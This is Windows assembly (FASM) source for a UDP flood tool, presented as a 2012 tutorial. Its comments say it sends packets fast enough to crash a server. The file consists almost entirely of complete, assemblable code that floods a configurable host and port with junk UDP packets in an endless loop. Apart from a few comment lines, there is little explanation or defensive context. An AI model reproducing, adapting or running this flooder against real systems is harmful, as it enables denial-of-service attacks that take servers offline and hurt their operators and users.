format PE console 4.0
; UDP Flooder Tutorial
; Send UDP packet very quickly which could result to a server crash.
; 2012 By WireMask - wiremask.eu
entry start
include 'include\win32a.inc'
section '.data' data readable writeable
; Time between each packets in ms
iSleep equ 50d
; Destination Port
sPort equ 2750d
; Destination Host
sHost db 'remotehost',0
; Packet to Send
sPacket db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA',0
sPacketl = $ - sPacket
sock dd ?
sin_addr dd ?
sin_port dd ?
saddr sockaddr_in
wsadata WSADATA
section '.code' code readable executable
start:
invoke WSAStartup, 0202h, wsadata
; Declare our UDP Socket
invoke socket, AF_INET, SOCK_DGRAM, 17 ;IPPROTO_UDP = 17
mov [sock], eax
mov [saddr.sin_family], AF_INET
; Select Port
invoke htons, sPort
mov [saddr.sin_port], ax
; Select IP
invoke gethostbyname, sHost
mov eax, [eax+12]
mov eax, [eax]
mov eax, [eax]
mov [saddr.sin_addr], eax
; Start our infinite loop
.loop:
invoke sendto, [sock], sPacket, sPacketl, 0, saddr,sizeof.sockaddr_in
cmp eax, 0
je exit
invoke Sleep, iSleep
jmp .loop
; useless part
exit:
invoke closesocket, [sock]
invoke WSACleanup
invoke ExitProcess,0
section '.idata' import data readable writeable
library kernel,'KERNEL32.DLL',\
winsock,'WSOCK32.DLL'
import kernel,\
ExitProcess,'ExitProcess',\
Sleep,'Sleep'
import winsock,\
WSAStartup,'WSAStartup',\
WSACleanup,'WSACleanup',\
socket,'socket',\
sendto,'sendto',\
inet_addr,'inet_addr',\
htons,'htons',\
closesocket,'closesocket',\
gethostbyname,'gethostbyname'
Fuente: http://wiremask.eu/?p=tutorials&id=3